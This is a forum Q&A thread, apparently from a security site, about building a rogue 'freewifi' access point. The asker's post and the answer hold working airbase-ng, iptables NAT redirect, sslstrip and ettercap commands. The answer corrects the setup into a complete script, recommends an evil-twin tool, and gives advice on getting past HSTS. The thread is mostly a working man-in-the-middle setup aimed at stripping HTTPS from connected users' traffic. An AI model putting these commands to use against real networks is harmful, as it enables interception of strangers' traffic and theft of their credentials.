Setting up a fake AP - problem with iptables and DNS server

Question

Im trying to set up a fake AP using aircrack-ng suite, DHCP server & iptables.

After creating the fake AP:

airmon-ng start wlan1
airbase-ng -c 11 -e "freewifi" wlan1mon

running iptables configuration and at0 routing rules(bash file):

#!/bin/sh
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to- port 10000
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

running DHCP server : /etc/init.d/isc-dhcp-server start

/etc/dhcp/dhpd.conf file:

authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 10.0.0.0 netmask 255.255.255.0
{
    option subnet-mask 255.255.255.0;
    option domain-name "freewifi";
    option routers 10.0.0.1;
    option domain-name-servers 194.90.0.1;
    range 10.0.0.10 10.0.0.20;
}

/etc/default/isc-dhcp-server file:

Running sslstrip and ettercap :

sslstrip -f -p -k 
ettercap -p -u -T -q -i at0

First, no internet connection is given, I can connect to my "freewifi" AP and im even given an IP address, but internet connection cant be made:

then, I've noticed that it has Https on the address, sslstrip should strip down the s from https, so that was odd also.

I suspect that maybe I have a problem with my bridging (iptables), any help?

Kali Linux.

Answer 1

You have different problems here. I think access point and dhcp are ok. Let's talk about iptables and sslstrip.

on sslstrip, you are using arguments -f -p -k 10000 but it makes no sense... port 10000 is default. And to set port you must use -l so you can avoid its use. Should be sslstrip -f -p -k and that's all or you can put sslstrip -f -p -k -l 10000 which is the same.

Talking about iptables and forwarding. echo 1 > /proc/sys/net/ipv4/ip_forward is ok. The route add makes no sense. You already have internet access on eth0 (I guess), so you don't need a route for the fake ap network. Of course at0 ip must be a different network range than eth0. Put a different ip range, something like 172.16.0.0/24 for example or any other.

But the order of the rules in iptables is important. Masquerading must be done at the end. And you have a typo on ssl port. You put 1000 instead of 10000!!!! <- OP edited his question and corrected it.

The flushes are ok:

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

And then, if you have the general policy FORWARD with ACCEPT, it doesn't make sense to do FORWARD rules with -j ACCEPT like this iptables --append FORWARD --in-interface at0 -j ACCEPT. Forget rules about udp... web navigation is tcp, so this is not important: iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1. The only point of doing this is to redirect dns traffic to your own dns server... But I can't see you have a dns server on this example so makes no sense.

This should be:

iptables -P FORWARD ACCEPT
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

And that's all.

So the final compilation is:

#!/bin/sh
ifconfig at0 up
ifconfig at0 192.168.1.129 netmask 255.255.255.128
ifconfig at0 mtu 1400
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Anyway, I can recommend to you a script on which I'm collaborating which automatize all of this stuff and is very handy!. It has a lot of FakeAP/Evil Twin features: airgeddon. Give it a try! is a good script already included in BlackArch, Wifislax and ArchStrike repositories.

Good luck! and remember to test sslstrip you must use urls without explicitely putting https. And facebook is a bad starting point because of HSTS. Try with outlook.com it works! To avoid HSTS is more advanced, you'll need sslstrip2 (is called too sslstrip+) and you'll need a proxy+dns (another incoming feature of airgeddon which is already developed and is under testing phase, is in a development branch and maybe this week could be in master).